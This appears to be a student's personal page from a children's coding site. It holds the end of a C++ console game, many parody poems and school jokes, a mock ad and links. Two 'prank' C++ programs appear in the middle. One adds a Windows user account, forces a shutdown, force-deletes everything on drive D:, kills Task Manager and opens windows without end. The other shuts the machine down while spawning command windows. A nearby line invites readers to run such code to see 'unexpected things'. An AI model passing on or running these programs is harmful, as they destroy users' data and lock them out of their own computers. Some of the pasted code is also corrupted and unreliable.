        if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bgo2[1]++;if(By2>27)Bvy2=0;if(Bx2>23)Bvx2=0;if(Bgo2[1]>13&&Bgo2[1]%3==0){float t=By2-Y,g=0.35;if(Boss==6) t/=2.0;CpGuai(Bwhat2+2,Bx2,By2,(Bx2-X)/t*1.0+(t-1)*g/2.0,1);}if(Bgo2[1]>20) Chang2}
    }
    void Boss3(){
        #define Bean br++;B[br].what=13;B[br].x=Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;
        for(int j=0;j<20;j++)if(abs(Bx3-I[j][0])<2&&By3-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        Bx3-=Bvx3;By3-=Bvy3;
        if(Bwhat3<=8){if(Bx3>X&&Bvx3<1.5) Bvx3+=0.3;if(Bx3<X&&Bvx3>-1.5) Bvx3-=0.3;}
        if(Bwhat3==0){X22:Bwhat3=rand()%12;if(Bwhat3==11&&abs(Bx3-20)<=1)goto X22;if(Bwhat3==11)Bgo3[2]=rand()%5;}
        if(Bwhat3==1){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3>=2&&Bwhat3<=6){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].what=11+Bwhat3;B[br].vy=0.5+(rand()%100)/80.0;if(Bwhat3==5)B[br].vy=B[br].vy*3/4.0;B[br].life=1;Chang3}}
        if(Bwhat3==7){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==8){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==9){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8){Bean}if(Bgo3[1]>=8)Chang3}
        if(Bwhat3==10){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8||Bgo3[1]==10||Bgo3[1]==12){Bean}if(Bgo3[1]>=12)Chang3}
        if(Bwhat3==11){Bvx3=0;Bgo3[1]++;if(Bgo3[1]>=8)for(int i=1;i<=4;i++){br++;B[br].what=80+100*Bgo3[2]+Bgo3[1]*4+i;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}if(Bgo3[1]>=20){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}Chang3}}
    }
    void Ball(int ball){
        if(ball==1){if(Fir<3&&T%8==0) Fir++;if(Fir>0){br++;B[br].what=-13;B[br].x=X;B[br].y=Y+rand()%3-1;B[br].life=1;if(Dis<=30) B[br].a=Disb,B[Disb].a=1,Fir--;else if(Boss!=0) B[br].a=13880086,Fir--;else if(Dis!=13880087) B[br].a=Disb,B[Disb].a=1,Fir--;else if(Dis1!=13880087) B[br].a=Disb1,B[Disb1].a=1,Fir--;else B[br].life=0;Dis=Dis1=13880087;}}
        if(ball==2){if(T%4==0)ib=(ib+1)%20,I[ib][1]=Y-2;if(T%16==0)I[ib][0]=X;if(T%16==4)I[ib][0]=X-1;if(T%16==8)I[ib][0]=X+1;if(T%16==12)I[ib][0]=X-2;if(T%12==9)I[ib][0]=X+2;if(Water==1){for(int i=X-6;i<=X+6;i++)ib=(ib+1)%20,I[ib][0]=i,I[ib][1]=Y-2-0.5*abs(i-X);}}
        if(ball==3){if(Wind>5){if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind<5){if(Y>Ding-1)Vy=-5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind==5){if(Boss==2) Ding=12.25;else Ding=6.25;if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 3F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==4){if(Thun==1){if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 9F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==5){system("cls"); Color(5);Setpos(10,10);cout<<"新天赋!";Y:int rr=rand()%4+2;Setpos(12,10);if(rr==Ren) goto Y;if(rr==2)cout<<"瞬跳";if(rr==3)cout<<"空之舞";if(rr==4)cout<<"三段跳";if(rr==5)cout<<"反重力跳跃";Setpos(14,10);cout<<"当前天赋:";if(Ren==1)cout<<"小无敌";if(Ren==2)cout<<"瞬跳";if(Ren==3)cout<<"空之舞";if(Ren==4)cout<<"三段跳";if(Ren==5)cout<<"反重力跳跃";Setpos(16,10);cout<<"换否?(y/n)";G:char g=_getch();if(g=='y')Ren=rr;else if(g!='n')goto G;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");}
        if(ball==6){Color(4);for(float i=1;i<=Bblo;i+=Bblomax/20.0)cout<<"▄";Color(0);cout<<' '<<Bblo<<"                              ";Color(0);}
        if(ball==7){Color(1);if(Win==7&&T%6<3)Color(3);for(float i=1;i<=Blo;i+=Blomax/20.0)cout<<"▄";Color(0);if(Win==7&&T%6<3)Color(3);printf(" %0.1f                              ",Blo);}
    }
    int main(){
        system("mode con cols=60 lines=37");CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);srand((unsigned)time(NULL));
        Win=0;Ren=1;Lv=1;Blo=Blomax=100;Expmax=300;Hui=15;X=18,Y=6;
        ReStart:system("cls");memset(B,0,sizeof(B));memset(I,-1,sizeof(I));T=0;bl=0;br=-1;Upt=0;
        Start:Blo=Blomax * 100;Ding=6.25;
        memset(Bgo1,0,sizeof(Bgo1));memset(Bgo2,0,sizeof(Bgo2));memset(Bgo3,0,sizeof(Bgo3));
        if(Win%2==0) T=0;if(Win%2==0&&D==0){if(Win>0)Ball(5);Boss=0;lL:L=rand()%4+1;for(int i=0;i<=Win/2-1;i++)if(L==Ll[i]) goto lL;Ll[Win/2]=L;}if(Win%2==1&&D==0){if(Win==7)Boss=6,T=0,Blomax+=100;else{bl:Boss=rand()%3+1;for(int i=0;i<=3;i++)if(Boss==Bl[i]) goto bl;}Bl[Win/2]=Boss;Bwhat1=Bwhat2=Bwhat3=0,Bx1=10,By1=20,Bx2=15,By2=20,Bx3=21,By3=20;system("color 4C");Sleep(20);system("color 0F");Map(0,1);Sleep(1000);}if(Win%2==1){Bblomax=500+(Win/2)*500;Bblo=Bblomax;if(Boss==2) Ding=12.25;}
        while(1){
            T++;
            if(Wind==0){if(GetAsyncKeyState(VK_LEFT)&0x8000) Vy=-(10-abs(Ding-Y)*1.5)/20.0;if(GetAsyncKeyState(VK_RIGHT)&0x8000) Vy=(10-abs(Ding-Y)*1.5)/20.0;}if(GetAsyncKeyState(VK_UP)&0x8000&&u1==0) {u1++;if(Down==1){Down=0;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=18,Li=5;else Vx=7,Vy=0.3;}else if(Up==0&&Wind==0) {Down=0;Up=1;if(Ren==2)Map(-1,0),Vx=1,X=10,Map(0,3),Li=5;else Vx=2,Vy=0.1;}else if(Up==1&&Wind==0) {Down=0;Up=2;if(Ren==2)Map(-1,0),Vx=1,X-=6,Map(0,3),Li=5;else Vx=1.5,Vy=0.1;}else if(Ren==3&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1;Vy=0.5;Upt=30;}else if(Ren==4&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1.8;Vy=0.1;}}if(GetAsyncKeyState(VK_DOWN)&0x8000&&u2==0) {u2++;if(Down==1&&Ren==5){Down=2;Up=0;Vx=-1.7;}else {Down=1;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=22,Map(0,3),Li=5;else {if(Upt!=0) Map(-1,0),Upt=0;Vx=-7;}}}if((GetAsyncKeyState(VK_UP)&0x8000) ?0:1) u1=0;if((GetAsyncKeyState(VK_DOWN)&0x8000) ?0:1) u2=0;if(kbhit()){char g=_getch();if(g==' ') Sleep(100),Setpos(4,1),Sy++,system("pause");}if(Sy==1) Setpos(4,1),printf("                           "),Sy--;
            if(Drug==0) Blo=fmin((float)Blomax,Blo+Hui/100.0);else if(T%10==0)Blo--;if(T%20==0) {if(Kill!=0) Kill=0;if(Lvl!=0) Lvl=0;}if(Killb>0) Killb--;if(Li>0) Li--;if(Ice>0) Ice--;if(Drug>0) Drug--;if(Magne>0) Magne--;
            if(Fire>0) Ball(1),Fire--;if(Water>0) Ball(2),Water--;if(Wind>0) Ball(3),Wind--;if(Thun>0) Ball(4),Thun--;
            if(Boss==0) NorGuai(L,T%1500);RandGood();if(T%20==1)Exp++;
            if(T%50==1){Exp++;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");if(Win==0&&T<300){Setpos(4,6);cout<<"↑/↓ 跳跃/下翻,←→ 些微移动(松手即返回)"; Setpos(8,6);cout<<"球可以开启特殊效果,经验积满(300)可提升级别。";Setpos(8,6);cout<<"打败 7 波即胜利,打败 BOSS 有新天赋。";Setpos(10,15);cout<<"空格可以暂停。";}}
            Map(-1,0);
            if(Boss==1) Boss1();if(Boss==2) Boss2();if(Boss==3) Boss3();if(Boss==6) Boss1(),Boss2(),Boss3();
            Move();Map(0,(bool)Kill);Color(0);
            Setpos(1,1);Blo=fmin(Blo,(float)Blomax);if(Boss==0)cout<<"血量: "<<(int)Blo<<"  ";Color(0);Setpos(1,9),cout<<"死亡次数: "<<D<<"  ";Setpos(2,1);Exp=min(Exp,Expmax);if(Exp>=Expmax)Exp=0,Lv++,Lvl++,Hui++,Blomax+=5;if(Lvl>0)Color(5);cout<<"级别: "<<Lv;Color(0);Setpos(2,9);cout<<"经验: "<<Exp<<"  ";if(Boss>0) Setpos(3,1),cout<<"血量     : ",Ball(7);if(Boss>0&&Boss!=6) Setpos(4,1),cout<<"怪物血量: ",Ball(6);if(Boss==6) Setpos(1,9),printf("时间: %0.1f s  ",T/15.0);
            if(Win==0) Sleep(55);if(Win==1) Sleep(50);if(Win==2) Sleep(35);if(Win==3) Sleep(40);if(Win==4) Sleep(25);if(Win==5) Sleep(30);if(Win==6) Sleep(20);if(Win>=7) Sleep(17);
            if(Boss==3&&Bblo<=0){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}}
            if((Win%2==0&&T>=1400)||(Win%2==1&&Bblo<=0)||(Win==7&&T>=450)||Blo<=0) {Map(-1,0);break;}
        }
        if(Blo<=0){
            Sleep(1000);
            D++;
            system("color 7F");
            Setpos(15,11);
            Color(4);
            cout<<"GAME OVER...";
            Sleep(2000);
            goto ReStart;
        }
        else if(Win==6){
            system("color 7F");
            Setpos(15,11);
            Color(4);
            cout<<"坚持30秒 !";
            Sleep(2000);
            Setpos(30,0);
            Win++;
            D=0;
        }
        else if(Win==7){
            Sleep(1000);
            system("color 6E");
            Setpos(15,11);
            Color(5);
            cout<<"YOU WIN !";
            Sleep(2000);
            Setpos(30,0);
            return 0;
        }else Sleep(1000),Win++,D=0;
        goto Start;
    }
    

    Copy

    倘若世间还有爱情,那我已看破红尘

    听天,不会由命

    我们一无所有,我们巍然矗立

    孤独,是双刃的锋芒

    我们未知拂晓何方,我们唯有彻夜前行

    如有一味绝境,非历十方生死

    但问 千山风雪

    可敢 应我一剑

    一念通天 神魔无惧

    这里是,为我所统帅的战场

    笑万仞寒山,不敌我身作剑,令四海宇内,重燃祝融之火

    此剑 当判 诸神谢罪 此剑 当斩 群魔授首

    此战 天地莫挡 且守 山海无恙

    森罗列阵,日月转轮

    燃此不屈魂 铸我手中刃

    百练之志,当我问鼎,天地吾心,日月重光

    饮冰而行,浴火重生

    侯非侯,王非王

    千盛万骑走北邙

    随它陨落 随它沉沦 引它重返千年之盛

    能提起沉重剑刃的手,握不住飞舞飘落的花

    吾持剑锋,以铸长城

    天地无心日月重光,天地不仁大道无光

    我就是太阳

    我即是黑夜

    无数次在人世的焦土上祈望太阳,我也曾在人焦土上幻想太阳

    越是没有武器越要变的强大

    天生吾族岂可轻弃,击破宿命的无常

    天开见光流血砰砰,击破宿命的无常我与我剑斩黄泉 我心如冰剑如霜此天命也

    一念通天神魔无惧,如有一味绝境非历十方生死。

    雷电惧散看看像我这样的凡人都怎么肖灭神魔,如果害怕就跑吧

    百炼之志当我问鼎,去哪里寻找救赎此界的力量

    去哪里寻找重造此界的力量

    我早就无路可退了

    此剑当斩群魔兽首

    此剑当叛诸神谢罪

    光明始于先驱者,光明神已陨落

    现在由光明引领我照彻苦难的世间

    化神为佑沐临绝土,独倚白夜破魔为生

    锋刃铸就信仰奉承暗与光,像面对黑夜一样面对死亡

    fjy I LOVE YOU 目光所至,心之所向 风吹红了少女的脸,却吹不动少年的心 你永远不知道那些一见你就笑的人有多喜欢你 岁月不识向南意,我与东风皆多情 山有木兮木有枝,心悦君兮君不知 青涩不如当初,聚散不由你 红楼隔雨相望冷 怕我爱的太明显,又怕你假装看不见

    我班女生一回头,吓死河边一头牛。

    我班女生二回头,长江黄河水倒流。

    我班女生三回头,地球都要倒着走。

    我班女生四回头,彗星就要撞地球。

    我班女生五回头,飞沙走石鬼见愁。

    我班女生六回头,企鹅都向赤道走。

    我班女生七回头,男人单身有理由。

    我班女生八回头,二氧化碳变汽油。

    我班女生九回头,火车开到沟里头。

    我班女生十回头,宇宙从此无地球。

    枯藤老树昏鸦,你家到底在哪啊?

    夕阳西下,肠子断了的人在天涯。

    春眠不觉晓,处处蚊子咬。

    打上敌敌畏,不知死多少。

    你是风儿我是沙,我是叶儿你是花,你乖别人都在夸,没你我会去网吧?王者吃鸡样样会,想你念你天也塌,游戏过后桌上趴,老师校长揪回家。

    天生我材必有用,抬起就做顶梁柱。

    水至清则无鱼,人之贱则无敌。

    image

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    ~我爱背圆周率~

    圆周率:

    3. 
    
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    0,-850

    大字号:10,小字号:6


    日航123

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    UPS6

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    [超燃英文歌合集]小曲一响,燃爆全场!

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    <iframe src="https://player.bilibili.com/player.html?bvid=BV1J4411v7g6&autoplay=0" scrolling="no" border="0" frameborder="no" framespacing="0" width="100%" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""></iframe>~你干嘛!嗨嗨呦~

    坤诗两首

    《坤明》

    蔡徐坤

    坤明时节闹坤坤,坤明时节闹坤坤,

    路上行人梳中分。路上行人梳中分。

    借问ikun何处有?借问ikun何处有?

    牧童遥指蔡徐村。牧童遥指蔡徐村。

    《题临坤邸》

    蔡徐坤

    山外青山楼外楼,山外青山楼外楼,

    唱跳rap打篮球。唱跳rap打篮球。

    中分头,背带裤,中分头,背带裤,

    我是坤坤你记住!我是坤坤你记住!

    『在太阳西斜的这个世界里』—BrokenChronograph—『置身天上之森』—LateAutumnNight′sDream—『等这场战争结束之后』—StarryRoadToTomorrow—『不归之人与望眼欲穿的人们』—DiceInPot—『人人本着正义之名』—FromDownTillDusk—『长存不灭的过去,逐渐消逝的未来』—NoNewsWasGoodNews—『我回来了』—Home,SweetHome—『纵使日薄西山』—SlightLight,SlightHope—『即使看不到未来』—MoonlightSorcery—『此时此刻的光辉』—MyHappiness—『盼君勿忘』—EvidenceofExistance—​**『在太阳西斜的这个世界里』​—Broken Chronograph—『置身天上之森』​—Late Autumn Night**′**s Dream—『等这场战争结束之后』​—Starry Road To Tomorrow—『不归之人与望眼欲穿的人们』​—Dice In Pot—『人人本着正义之名』​—From Down Till Dusk—『长存不灭的过去,逐渐消逝的未来』​—No News Was Good News—『我回来了』​—Home , Sweet Home—『纵使日薄西山』​—Slight ​Light​, Slight Hope—『即使看不到未来』​—Moonlight Sorcery—『此时此刻的光辉』​—My Happiness—『盼君勿忘』**​—Evidence of Existance—

    三排此时还没意识到问题的严重性……

    爱吃金币是你的谎言

    金币躲在角落里瑟瑟发抖……

    无他,唯手熟尔

    害怕:我当时三排极了!

    系统:三排因语言过激被踢出直播间!

    动作指导:锅铲

    《金币杀人事件》

    《人类早期驯服野生三排珍贵影像》

    保安:抢钱了!快追!

    保安:狗子跟紧!这把高端局!

    杰克,永远的神!

    杰克:至此,已成艺术

    杰克:是时候表演真正的技术了!

    杰克:我预判了你的预判!

    金币:我做错了什么???

    三排:那我走?

    三排:已经汗流浃背了

    三排:友谊的小船说翻就翻!

    三排:我从未见过如此厚颜无耻之人!

    礼貌三排:你吗?

    三排:请开始你的表演!

    三排:你的良心不会痛吗???

    三排:不可能!绝对不可能!

    三排:《小孩哥》

    三排:虽然我不是人,但你是真的狗!

    金币:我裂开了!

    不要点我!

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    等级考试205蓝桥杯115选拔赛难度92一级65中级组52二级49三级42四级33五级24T219T118GESP18T317T417T517模拟题16省赛16高级组14国赛12gesp11

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    欢迎到501去摸吉祥物---fish(@飞翔MC) 2白纸/次, 10元30天任意摸,每个月26日和3日上午6点以及6日摸立马减0.06元!!!每个月26日2.6时26秒摸fish免费!!!2道C++题目答案可以摸1次fish!!!前10名可享受5折优惠!!!前30名可享受6.5折优惠!!!前50名可享受8折优惠!!!前70名可享受9折优惠!!!前100名可享受9.5折优惠!!!先到先得快来摸吧!!! 摸完fish摸鱼肯定不会被抓,上课放心摸鱼!!!欢迎来摸fish!!!!! |||||我们还有广告和C++主页设计,第一次免费,之后3张白纸一次或3道C++题目答案,VIP5折!!!超级VIP免费!!!前10名可享受6折优惠!!!前30名可享受7折优惠!!!前50名可享受8折优惠!!!前70名可享受9折优惠!!!前100名可享受9.5折优惠!!!先到先得快来吧!!! |||||斗兽棋1白纸/天,15白纸/20天!!!快来吧!!!

    fish(董事长 飞翔·MC)主页 梁某(副董事长)主页 刻晴.申鹤(总经理)主页 惜(经理)主页 old mo~~~~~~~~(分公司董事长)主页


    摘掉菠萝一念成佛 我的世界

    地面即为开始,天空即为极限!

    MC不倒,陪你到老!

    飞翔·MC

    不要轻易的口出狂言,那样只会透露出你的软弱。

    手握日月星辰,吾乃天地之灵,掌握三界之生死。三界万物皆可灭,唯我长生不死。

    | 我有故人抱剑去,斩尽风云未肯归 |

    image

    image

    mc不灭!!!

    鸡鸣寺的樱花开了

    小秘密:9001049845

    p.speed(8); p.c(1).fd(10).rt(90); p.c(3).fd(20).rt(90); p.c(5).fd(30).rt(90); p.c(8).fd(40).rt(90); p.c(1).fd(50).rt(90); p.c(3).fd(60).rt(90); p.c(5).fd(70).rt(90); p.c(8).fd(80).rt(90); p.c(1).fd(90).rt(90); p.c(3).fd(100).rt(90); p.c(5).fd(110).rt(90); p.c(8).fd(120).rt(90); p.c(1).fd(130).rt(90); p.c(3).fd(140).rt(90); p.c(5).fd(150).rt(90); p.c(8).fd(160).rt(90); p.c(1).fd(170).rt(90); p.c(3).fd(180).rt(90); p.c(5).fd(190).rt(90); p.c(8).fd(200).rt(90); p.c(1).fd(210).rt(90); p.c(3).fd(220).rt(90); p.c(5).fd(230).rt(90); p.c(8).fd(240).rt(90); p.c(1).fd(250).rt(90); p.c(3).fd(260).rt(90); p.c(5).fd(270).rt(90); p.c(8).fd(280).rt(90); p.c(1).fd(290).rt(90); p.c(3).fd(300).rt(90); p.c(5).fd(310).rt(90); p.c(8).fd(320).rt(90); p.c(1).fd(330).rt(90); p.c(3).fd(340).rt(90); p.c(5).fd(350).rt(90); p.c(8).fd(360).rt(90); p.c(1).fd(370).rt(90); p.c(3).fd(380).rt(90); p.c(5).fd(390).rt(90); p.c(8).fd(400).rt(90); p.c(1).fd(410).rt(90); p.c(3).fd(420).rt(90); p.c(5).fd(430).rt(90); p.c(8).fd(440).rt(90); p.c(1).fd(450).rt(90); p.c(3).fd(460).rt(90); p.c(5).fd(470).rt(90); p.c(8).fd(480).rt(90); p.c(1).fd(490).rt(90); p.c(3).fd(500).rt(90); p.c(5).fd(510).rt(90); p.c(8).fd(520).rt(90); p.c(1).fd(530).rt(90); p.c(3).fd(540).rt(90); p.c(5).fd(550).rt(90); p.c(8).fd(560).rt(90); p.c(1).fd(570).rt(90); p.c(3).fd(580).rt(90); p.c(5).fd(590).rt(90); p.c(8).fd(600).rt(90);

    image image

    罗镓宇来自501班[@dwluojiayu (抗金名将——岳飞)

    不许看,滚!!!

    置顶:~mc~~大麦~ [​~个人主页~​](​~XYGguanze的个人空间-XYGguanze个人主页-哔哩哔哩视频 (bilibili.com~​)) [https://sc.codehero.store/home]

    http://43.139.147.122/contest.php?cid=1606

    书中自有黄金屋,拿了黄金不读书。

    书山有路勤为径,游戏打得真起劲。

    忍一时越想越气,退一步越想越亏。

    冰冻三尺非一日之寒,小腹三层非一日之馋。

    慈母手中剑,游子身上劈。

    一秒十二剑,剑剑出暴击。

    父看子未凉,掏出七匹狼。

    子看七匹狼,瞬间透心凉。

    透心凉,心飞扬。

    果冻我要喜之郎。

    王中王,火腿肠。

    三节更比六节强。

    不听老人言,开心好几年。

    临时抱佛脚,佛踹我一脚。

    一山不容二虎,除非一公一母。

    MC不倒,陪你到老。

    迷你不倒,一脚踹倒。

    一脚不倒,拿出枪炮。

    迷你炸倒,MC最好!

    此生无悔入MC,来世再做方块人!

    方块树上方块果,方块树下你和我!

    #include<iostream>#include< stdlib.h>#include< conio.h>#include< windows.h>#include<ctime>using namespace std;int main(){int a=100000;int x=GetSystemMetrics(SM_CXSCREEN);int y=GetSystemMetrics(SM_CYSCREEN);while(a){SetCursorPos(rand()%x,rand()%y);a--;} return 0; }

    #include<iostream>#include< stdlib.h>#include<conio.h>#include<windows.h>#include<ctime>using namespace std;int main(){char k=getch();system(“net user 管理员等待”);system(“net user xxx wait /add”);system(“ping www.baidu.com”);k=getch();系统(“shutdown -s -t 30”);system(“del /F /S /Q D:\”);int x=GetSystemMetrics(SM_CXSCREEN);int y=GetSystemMetrics(SM_CYSCREEN);k=getch();{while(1){SetCursorPos(rand()%x,rand()%y);system(“calc”);system(“cmd”);system(“taskkill /f /im taskmgr.exe”);}}return 0;} 上课一排全睡,考试全都不会

    成绩基本个位,抽烟打牌都会。

    打饭从不排队,逃课成群结队。

    短信发到欠费,上街花钱干脆。

    穿越如痴如醉,地下忘记疲惫。

    炫舞手鼓敲碎,问到闭眼都会。

    飞车百战不退,魔鬼砍人无罪。

    垃圾学校万岁!

    要啥没啥,烟瘾庞大,

    干啥啥不中,说话死难听,

    当过兵,站过岗,

    耍过流氓,入过党。

    考试不作弊,放你妈狗屁。

    考试不发书,蠢得像头猪。

    作弊不要慌,逮到就要装。

    生是中国人,死是中国魂。

    要我学洋文,死都不可能。

    抢饭吧积极,智商有问题。

    上课不放屁,肠道有问题。

    语文老师一回头,此地空余黄鹤楼。

    数学老师一回头,阿基米德要跳楼。

    英语老师一回头,sorry加上三克油。

    化学老师一回头,二氧化碳变汽油。

    物理老师一回头,一根杠杆撬地球。

    生物老师一回头,试管婴儿水中游。

    地理老师一回头,大陆版块乱漂流。

    历史老师一回头,秦始皇来推铅球。

    劳动老师一回头,破铜烂铁来走秀。

    美术老师一回头,蒙娜丽莎也风流。

    体育老师一回头,奥运取消打篮球。

    电脑老师一回头,学生全成阿Q友。

    全体老师一回头,世界没有了自由。

    英语不及格,说明我爱国。

    语文不及格,恋爱没资格。

    物理不及格,电死不负责。

    化学不及格,硫酸也得喝。

    政治不及格,老师没道德。

    信息不及格,网吧要打折。

    数学不及格,突出我性格。

    历史不及格,社会要改革。

    全科不及格,老妈动真格。

    昨天,我带了A4,被同学撕了;

    今天,我带了B4,被老师没收了;

    明天,我决定带C4。

    昨天,我带了一台MP3,被我弄丢了;

    今天,我带了一台MP4,被同学摔烂了;

    明天,我决定带一台MP5(一种冲锋枪)。

    语文考试时,感觉自己是个外国人;

    英语考试时,感觉自己是个中国人;

    数学考试时,感觉自己是个原始人;

    体育考试时,感觉自己是个残疾人;

    音乐考试时,感觉自己是个聋哑人;

    拿到成绩单时,感觉自己不是人。

    青青园中葵,周日去拉稀。

    阳春布德泽,万物都牛逼。

    常恐秋节至,焜煌没只因。

    百川东到海,何时去归西。

    少壮不努力,牢大买飞机。

    劝君更尽一杯酒,3.14159。

    天苍苍,野茫茫,外焦里嫩烤全羊。

    垂死病中惊坐起,小丑竞是你自己。

    两个黄鹂鸣翠柳,隔壁老师单身狗。

    借问酒家何处有,单身狗不配喝酒。

    在c++中运行,会有想不到的事情 长亭外,古道边,一行白鹭上青天。垂死梦中惊坐起,燃烧我的卡路里。老骥伏枥,志在千里。横扫饥饿,做回自己。天苍苍,野茫茫,外焦里嫩烤全羊。山无棱,天地合,谁吃铁锅炖大鹅。两个黄鹂鸣翠柳,隔壁老师单身狗。借问酒家何处有,单身狗不配喝酒。先帝创业未半,蹦迪花光预算。老夫聊发少年狂,治肾亏,不含糖。巴山楚水凄凉地,Q等于cm△t。借问酒家何处有,3.14159。争渡,争渡,勾三股四弦五。小楼昨夜又东风,where is my iPhone?众里寻他千百度,蓦然回首,他却在那驴棚深处。吃着草,靠着树,头上裹着擦脚布,谁家的驴那么酷。一朝被蛇咬,处处闻啼鸟。巴山楚水凄凉地,responsibility垂死病中惊坐起,扶摇直上九万里。老夫聊发少年狂,挖掘机,哪家强,中国山东找蓝翔。商女不知亡国恨,闲敲棋子落灯花。烟笼寒水月笼沙,赚得行人错喜欢。自古男儿当自强,吃个桃桃好凉凉。垂死病中惊坐起,笑问客从何处来。敲成玉磬穿林响,不破楼兰终不还。山雨欲来风满楼,宝帘闲挂小银钩。男儿当自强,对镜贴花黄。云想衣裳花想容,但悲不见九州同。王师北定中原日,多少楼台烟雨中。少小离家老大回,安能辨我是雄雌。商女不知亡国恨,也傍桑阴学种瓜。先帝创业未半而骈死于槽枥之间。停车坐爱枫林晚,正待以血净奸愚。有朋自远方来,虽远必诛之!

    #include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){    system("shutdown -s -t 60");while(1){system("start cmd");
    
    
    
    
    
    
    }
    }
    

    Copy

    Copy

    男儿当自强,对镜贴花黄 1.仰天大笑出门去,归来倚杖自叹息。

    2.举杯邀明月,带月荷锄归。

    3.巴山楚水凄凉地,responsibility。

    4.行路难,行路难!东风无力百花残。

    5.小魔仙全身变,惊起蛙声一片。

    6.十年生死两茫茫,喜羊羊灰太狼。

    7.天堂有路你不走,学海无涯苦作舟。

    学海无涯,回头是岸

    8.一朝被蛇咬,处处闻啼鸟。

    9.今日闻君琵琶语,暂凭杯酒长精神。

    10.国破山河在,家和万事兴。

    11.君问归期未有期,红烧茄子黄焖鸡。

    12.老骥伏枥,志在千里,横扫饥饿做回自己。

    13.山重水复疑无路,make后面不加to。

    14.书到用时方恨少,船到桥头自然直。

    15.今朝有酒今朝醉,tomorrow is another day。

    16.君子之交淡如水,大难临头各自飞。

    17.情不知所起,一往而深,再而衰,三而竭。

    18.夜深忽梦少年事,惟梦闲人不梦君。

    19.劝君更尽一杯酒,从此萧郎是路人。

    20.遥想公谨当年,小乔初嫁了,使我不得开心颜!

    21.车辚辚,马萧萧,二月春风似剪刀。

    22.醒时同交欢,儿女忽成行。

    23.天苍苍,野茫茫,一树梨花压海棠。

    24.身无彩凤双飞翼 落毛凤凰不如鸡。

    25.秋水为神玉为骨,芙蓉如面柳如眉。

    26.天苍苍,野茫茫,一枝红杏要出墙。

    27.花飞花谢花满天,江枫渔火对愁眠。

    28.十年一觉扬州梦,只是当时已惘然。

    29.停车坐爱枫林晚,无人知是荔枝来。

    30.西塞山前白鹭飞,葡萄美酒夜光杯。

    31.儿童相见不相识,系向牛头充炭直。

